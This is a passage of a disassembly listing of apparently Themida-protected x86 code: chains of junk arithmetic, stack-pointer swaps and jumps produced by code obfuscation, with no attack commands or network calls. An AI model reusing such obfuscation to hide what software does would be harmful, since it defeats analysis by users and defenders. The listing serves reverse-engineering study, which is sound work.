dec ebx
add ebx, 56F64658h
add edx, ebx
pop ebx
push ebx
jmp loc_592BCF
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58F3D0: ; CODE XREF: Themida_:0058ACE1j
add edx, 4
xchg edx, [esp]
mov esp, [esp]
xor ebx, eax
sub esp, 4
mov [esp], esi
jmp loc_591F52
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58F3EC: ; CODE XREF: sub_5916C4-13Dj
pop ecx
sub ecx, ebp
pop ebp
sub eax, ecx
mov ecx, [esp-8+arg_4]
jmp loc_58F8C3
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58F3FA: ; CODE XREF: Themida_:loc_5940F3j
push ebp
jmp loc_59325C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F400: ; CODE XREF: sub_58C17E+282Ej
pop edi
xchg edx, [esp-4+arg_0]
pop esp
add esp, 4
shl [esp-0Ch+arg_8], cl
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58F413: ; CODE XREF: sub_58F5B5+18Ej
add esi, 3B0A2CEAh
xor esi, 37BC4C5Ch
sub esi, 149A35B0h
jmp loc_58DB4D
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58F42A: ; CODE XREF: sub_595123-C60j
pop eax
sub esp, 4
mov [esp+0Ch+var_C], edi
mov edi, 0E00398CEh
sub ecx, edi
jmp loc_595A83
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_58F43D: ; CODE XREF: Themida_:0058A520j
sub eax, edx
pop edx
sub eax, 140C78A2h
pop esi
mov esi, eax
mov eax, [esp]
add esp, 4
add [esp+4], esi
pop esi
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58F458: ; CODE XREF: Themida_:005957F2j
shr ebx, 4
xor ebx, 2D749650h
jmp loc_59341A
; ---------------------------------------------------------------------------
loc_58F466: ; CODE XREF: Themida_:005938B4j
mov [esp], edx
push ecx
push 1C941F57h
pop ecx
shr ecx, 5
jmp loc_58F54E
; ---------------------------------------------------------------------------
loc_58F478: ; CODE XREF: Themida_:0058CB13j
dec ebp
jmp loc_591067
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58F47E: ; CODE XREF: sub_592D25+4E2Dj
sub ebp, 836A7E70h
and edi, ebp
pop ebp
sub edi, 63F70EB4h
jmp loc_592438
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_58F492: ; CODE XREF: Themida_:0058CB7Aj
push esi
jmp loc_59045F
; ---------------------------------------------------------------------------
loc_58F498: ; CODE XREF: Themida_:00590EA9j
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
sar word ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58F4AC: ; CODE XREF: sub_594654+2ABDj
pop ebp
jmp loc_58D1B3
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58F4B2: ; CODE XREF: sub_595E21-9B55j
mov ebx, esp
add ebx, 4
push esi
mov esi, 4
sub ebx, esi
pop esi
xchg ebx, [esp+0]
pop esp
mov [esp-4+arg_0], ecx
mov ecx, 22AA4433h
xor edi, ecx
mov ecx, [esp-4+arg_0]
jmp loc_58E1EA
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F4D9: ; CODE XREF: sub_58C17E+EEAj
mov ecx, 65774FFh
inc ecx
jo loc_595A16
and ecx, 6CA03396h
xchg edx, ecx
not edx
jmp loc_58B69B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push esi
push esp
pop esi
jmp loc_58D4ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58F500: ; CODE XREF: sub_590467-421Aj
mov esp, [esp+0]
jmp loc_595E62
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58F508: ; CODE XREF: sub_5EC2E8-59408j
push ecx
mov ecx, 5CDD7503h
add ecx, 0AD66C69Dh
and ebx, ecx
jmp loc_590CE7
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B03F
loc_58F51B: ; CODE XREF: sub_58B03F+2j
mov esi, 1
mov ebx, esi
pop esi
sub esp, 4
jmp loc_597577
; END OF FUNCTION CHUNK FOR sub_58B03F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58F52E: ; CODE XREF: sub_590010-3C7Ej
pop ecx
jmp loc_58F1D3
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58F534: ; CODE XREF: sub_5EC2E8-5C269j
mov edx, [esp+40h+var_40]
add esp, 4
xor ebp, [esp+3Ch+var_3C]
xor [esp+3Ch+var_3C], ebp
xor ebp, [esp+3Ch+var_3C]
mov esp, [esp+3Ch+var_3C]
jmp loc_591F80
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58F54E: ; CODE XREF: Themida_:0058F473j
push ebx
mov ebx, 6B3C4DD6h
neg ebx
sub ebx, 0FFFFFFFFh
and ebx, 0FEE7FCEh
jmp loc_5916FD
; ---------------------------------------------------------------------------
loc_58F567: ; CODE XREF: Themida_:00590D42j
sub eax, ebp
mov ebp, [esp]
push edi
jmp loc_5932EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F572: ; CODE XREF: sub_58C17E+AA4Ej
pop ebx
add edx, ebp
jmp loc_590F6C
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58F57A: ; CODE XREF: sub_5916CB-3461j
dec edx
jnp loc_5953A1
dec edx
jg loc_5900F4
jmp loc_58F677
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
not ebp
dec ebp
mov ah, 7
push edx
push 216C187Ch
jmp loc_58B7D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F59D: ; CODE XREF: sub_58C17E+4648j
xor edi, 443EC67Ah
sub edx, 43F14273h
jmp loc_58E998
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58F5AE: ; CODE XREF: sub_595258-65DBj
pop edi
pop [esp+8+var_8]
pop dword ptr [edi+24h]
; END OF FUNCTION CHUNK FOR sub_595258
; =============== S U B R O U T I N E =======================================
sub_58F5B5 proc near ; CODE XREF: sub_590010+44D7j
var_2C = dword ptr -2Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058A338 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058A689 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058A83F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058AF1A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058B1C5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B2C6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B2FC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058B3F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058B583 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B690 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B6EF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B8B2 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058B92E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BB39 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058BB82 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058C103 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C252 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C546 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058C5E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C6EC SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058C762 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CD15 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D0E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D3BC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D434 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D612 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058D642 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058D6C5 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058DB4D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DBA6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058DBDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058DEED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E077 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058E22C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058E378 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058E40C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058EACC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058EB02 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058ED09 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058EE5F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F180 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F35B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F413 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F677 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058F704 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058F736 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058F79C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F927 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058FB23 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FCD4 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058FDF7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FE39 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058FF8A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058FFBA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059008F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005906BA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059080D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590910 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00590A34 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590D34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590DA6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059120D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005915ED SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059161F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005916AF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591961 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005919AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00591B5B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591F17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005922F1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059233B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005923DB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592469 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059275C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00592FE8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059314C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00593165 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059337B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593765 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005939F4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00593C0E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593E9B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593EB6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593FF2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00594144 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594356 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059460E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594719 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00594A3E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594A6C SIZE 00000051 BYTES
; FUNCTION CHUNK AT 00594BC3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059518A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00595572 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005955E8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059593B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595BF2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595CEB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595E16 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595E4C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059626C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00596445 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059665C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596737 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005967C8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005969BC SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00596ACF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596B5D SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00596C87 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596D0E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005971F4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00597396 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005975C4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059775B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597961 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059798B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00597CC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597CF6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00597D55 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597F3B SIZE 00000008 BYTES
sub esp, 4
jmp loc_58B690
sub_58F5B5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58F5C0: ; CODE XREF: Themida_:0058A9BFj
jmp loc_594DD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F5C5: ; CODE XREF: sub_58C17E+5C73j
sub ebx, 2C425684h
add ebx, esi
push ebp
jmp loc_58D5E1
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58F5D3: ; CODE XREF: sub_590467+5FD9j
mov ah, 0E1h
mov dh, 8Dh
xor dh, ah
pop eax
xor dh, cl
jmp loc_58F219
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58F5E1: ; CODE XREF: Themida_:00596624j
pop ecx
push esi
mov esi, 12BA440Eh
jmp loc_58C738
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58F5ED: ; CODE XREF: sub_592D25+1Bj
mov edx, [esp+0]
add esp, 4
mov ecx, ebp
pop ebp
mov eax, ecx
push [esp-14h+arg_10]
pop ecx
push 314Bh
mov [esp+0], edx
jmp loc_590522
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F609: ; CODE XREF: sub_58C17E-1430j
and ebp, 0ECD0C66h
jmp loc_597634
; ---------------------------------------------------------------------------
loc_58F614: ; CODE XREF: sub_58C17E+A4Ej
sub ecx, 31B152B2h
jmp loc_5911AA
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58F61F: ; CODE XREF: Themida_:0058AC12j
pop ebp
jmp loc_58BD3B
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3261h
mov [esp], edx
jmp loc_594903
; ---------------------------------------------------------------------------
loc_58F636: ; CODE XREF: Themida_:005971EFj
jnz loc_58E14D
xor ah, 41h
mov dl, ah
pop eax
xchg bl, dl
not bl
jmp loc_58F74F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EB1F
loc_58F64B: ; CODE XREF: sub_58EB1F-334Cj
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_58A6BF
; END OF FUNCTION CHUNK FOR sub_58EB1F
; ---------------------------------------------------------------------------
loc_58F65B: ; CODE XREF: Themida_:0058B421j
sub ebx, esi
pop esi
mov ebp, [esp]
add esp, 4
sub ebx, 76F94A30h
sub ebx, eax
add ebx, 76F94A30h
jmp loc_5923FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58F677: ; CODE XREF: sub_5916CB-2143j
; sub_58F5B5+4A51j
push 30EAh
mov [esp+14h+var_14], edx
push 170115Fh
pop edx
push 171115Fh
mov ecx, [esp+0]
push edx
jmp loc_59775B
; ---------------------------------------------------------------------------
loc_58F693: ; CODE XREF: sub_58F5B5-4299j
push ecx
mov ecx, 1
and eax, ecx
jmp loc_594144
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58F6A0: ; CODE XREF: sub_59762D-5AEFj
jz loc_58CB26
sub edx, 7C198C65h
jmp loc_597B29
; ---------------------------------------------------------------------------
loc_58F6B1: ; CODE XREF: sub_59762D-9D6Fj
jmp loc_58FE55
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58F6B6: ; CODE XREF: Themida_:0058D211j
xor ebx, 3D0C1D82h
pop eax
add edx, ebx
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov ax, [esp]
jmp loc_59144D
; ---------------------------------------------------------------------------
loc_58F6E5: ; CODE XREF: Themida_:00591DE7j
pop esi
add ebp, ecx
pop ecx
jmp loc_596AB2
; ---------------------------------------------------------------------------
loc_58F6EE: ; CODE XREF: Themida_:00596300j
neg eax
shl eax, 5
push ebx
mov ebx, 0EDDBFB67h
xor eax, ebx
pop ebx
sub ebp, eax
pop eax
jmp loc_593120
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58F704: ; CODE XREF: sub_58F5B5+2403j
shr ebx, 2
neg ebx
push ecx
mov ecx, 4E0C059Ah
sub ecx, 1
dec ecx
push ebp
mov ebp, 1A5AFFD5h
add ecx, ebp
jmp loc_592469
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58F720: ; CODE XREF: sub_59762D-7110j
sub bl, dl
pop edx
add bl, al
add bl, 48h
push edx
push eax
jmp loc_59229D
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58F72F: ; CODE XREF: sub_5938B9:loc_59791Cj
neg ecx
jmp loc_595365
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58F736: ; CODE XREF: sub_58F5B5+3DCCj
push 15A0h
mov [esp+14h+var_14], esi
mov esi, 32694EF8h
jmp loc_58F413
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58F748: ; CODE XREF: sub_5EC2E8-61258j
pop edx
push ebx
jmp loc_58C584
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58F74F: ; CODE XREF: Themida_:0058EF16j
; Themida_:0058F646j ...
push ecx
jmp loc_591529
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58F755: ; CODE XREF: sub_592D25-8E4j
sub edi, 152347F4h
jmp loc_5930F5
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58F760: ; CODE XREF: sub_5938B9-10A9j
sub ecx, 2772EBF7h
and ecx, 3A3D56A7h
add ecx, 3404EA63h
jmp loc_58BAFA
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58F777: ; CODE XREF: Themida_:005935A1j
add dh, 62h
and cl, dh
pop edx
dec cl
jmp loc_58A8B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58F784: ; CODE XREF: sub_590010-2275j
sub eax, edi
pop edi
sub ecx, 9B24B80h
jmp loc_592F04
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58F792: ; CODE XREF: Themida_:0059795Cj
mov eax, 1D40660h
jmp loc_58D132
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58F79C: ; CODE XREF: sub_58F5B5-1512j
mov dx, [esp+0]
jmp loc_5971F4
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F7A5: ; CODE XREF: sub_58C17E-1A0j
; sub_58C17E+8683j
mov edi, [esp+2+var_4+2]
add esp, 4
add ebx, 4
xor ebx, [esp+0]
jmp loc_591FFD
; ---------------------------------------------------------------------------
loc_58F7BC: ; CODE XREF: sub_58C17E+957j
mov [esp+0], edx
push ebp
mov ebp, 0A0A2104h
shr ebp, 7
push edi
push edx
push ecx
push 111E12D4h
pop ecx
shr ecx, 8
add ecx, 5B374AF2h
mov edx, ecx
pop ecx
jmp loc_58DC87
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_58F7E2: ; CODE XREF: sub_595655-915Bj
pop ebx
jmp loc_58A919
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
loc_58F7E8: ; CODE XREF: Themida_:00590000j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58F7ED: ; CODE XREF: sub_59524C-A276j
; Themida_:00594EEFj
pop ecx
pop esi
and eax, ebx
jmp loc_597A63
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_58F7F6: ; CODE XREF: Themida_:00594609j
pop edi
add edi, ecx
jmp loc_58A465
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58F7FE: ; CODE XREF: sub_590010-22CFj
pop esi
push ecx
mov ecx, 79E56337h
or ecx, 7BE60B29h
xor ecx, 60CF03D6h
push esi
jmp loc_58D1A1
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58F817: ; CODE XREF: Themida_:00596A74j
dec esi
sub esp, 4
jmp loc_596C32
; ---------------------------------------------------------------------------
loc_58F820: ; CODE XREF: Themida_:0058D3CFj
push 359Ah
jmp loc_5953D4
; ---------------------------------------------------------------------------
loc_58F82A: ; CODE XREF: Themida_:00593B0Ej
not bh
jmp loc_590F2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58F831: ; CODE XREF: sub_595E21-4BDEj
jmp loc_58DB75
; END OF FUNCTION CHUNK FOR sub_595E21
; =============== S U B R O U T I N E =======================================
sub_58F836 proc near ; CODE XREF: sub_59524C+23C2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058A6B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BA29 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E296 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0058ECE2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FDEA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593728 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005940E2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005949BA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595EED SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00597BCD SIZE 0000001C BYTES
push ebx
mov ebx, esp
push 1673h
mov [esp+8+var_8], eax
jmp loc_58ECE2
sub_58F836 endp
; ---------------------------------------------------------------------------
loc_58F846: ; CODE XREF: Themida_:005944FDj
not ebx
add ebx, 41EA2DDDh
jnb loc_58FE55
sub ebx, 296387ABh
jmp loc_594390
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58F85F: ; CODE XREF: sub_59762D-A735j
add al, 0D5h
jmp loc_5950C1
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58F866: ; CODE XREF: Themida_:0058CB66j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
pop esp
shl word ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58F880: ; CODE XREF: Themida_:0058EC34j
mov esp, [esp]
mov [esp], edx
mov dh, 23h
sub al, 0C7h
push ecx
mov ch, 0ABh
jmp loc_591797
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F892: ; CODE XREF: sub_5916C4-6BEDj
; sub_58C17E-3E7j
push eax
push esp
pop eax
jmp sub_598028
; ---------------------------------------------------------------------------
loc_58F89A: ; CODE XREF: sub_58C17E+71D6j
; Themida_:00593F81j
mov edi, 41857CC7h
sub edi, 6015400Fh
sub edi, 75D5FDB1h
add ebp, 21E10BF1h
add ebp, edi
sub ebp, 21E10BF1h
pop edi
pop edi
xchg ebp, [esp-0Eh+arg_8+2]
jmp loc_5907CB
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58F8C3: ; CODE XREF: sub_5916C4-22CFj
add esp, 4
jmp loc_596655
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58F8CB: ; CODE XREF: Themida_:0059196Bj
sub esp, 4
mov [esp], ebp
jmp loc_595586
; ---------------------------------------------------------------------------
loc_58F8D6: ; CODE XREF: Themida_:0059087Aj
shl edi, 2
xor edi, 69F64C40h
sub edi, 0BC552E4Bh
add dword ptr [esp+8], 48EC0BCAh
jmp loc_5922B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58F8F2: ; CODE XREF: sub_595258-2385j
; Themida_:005956DFj
add esp, 4
jmp loc_58EC6C
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
loc_58F8FA: ; CODE XREF: Themida_:00591655j
push 6D3F7917h
mov ebp, [esp]
add esp, 4
shl ebp, 2
xor ebp, 0F058E962h
jmp loc_596F09
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58F916: ; CODE XREF: sub_595258-225Dj
push edi
mov edi, 1A1D0207h
sub edi, 0EFE6DBD5h
jmp loc_58C673
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58F927: ; CODE XREF: sub_58F5B5-2FD2j
shr eax, 2
jnp loc_591961
jmp loc_58A689
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
pop esi
pop ebp
add [esp], eax
mov ebx, ebp
mov ah, 8Ch
loc_58F93E: ; CODE XREF: Themida_:0058B10Cj
push eax
mov eax, 4A2F1122h
not eax
jmp loc_58DE53
; ---------------------------------------------------------------------------
loc_58F94B: ; CODE XREF: Themida_:005915A5j
xchg edx, [esp]
pop esp
jmp loc_58D788
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_58F954: ; CODE XREF: sub_595655-83C7j
pop esi
or eax, eax
jz loc_595DFB
push 3E0Ah
mov [esp+0], edx
push ebx
push 51A44F84h
jmp loc_58D526
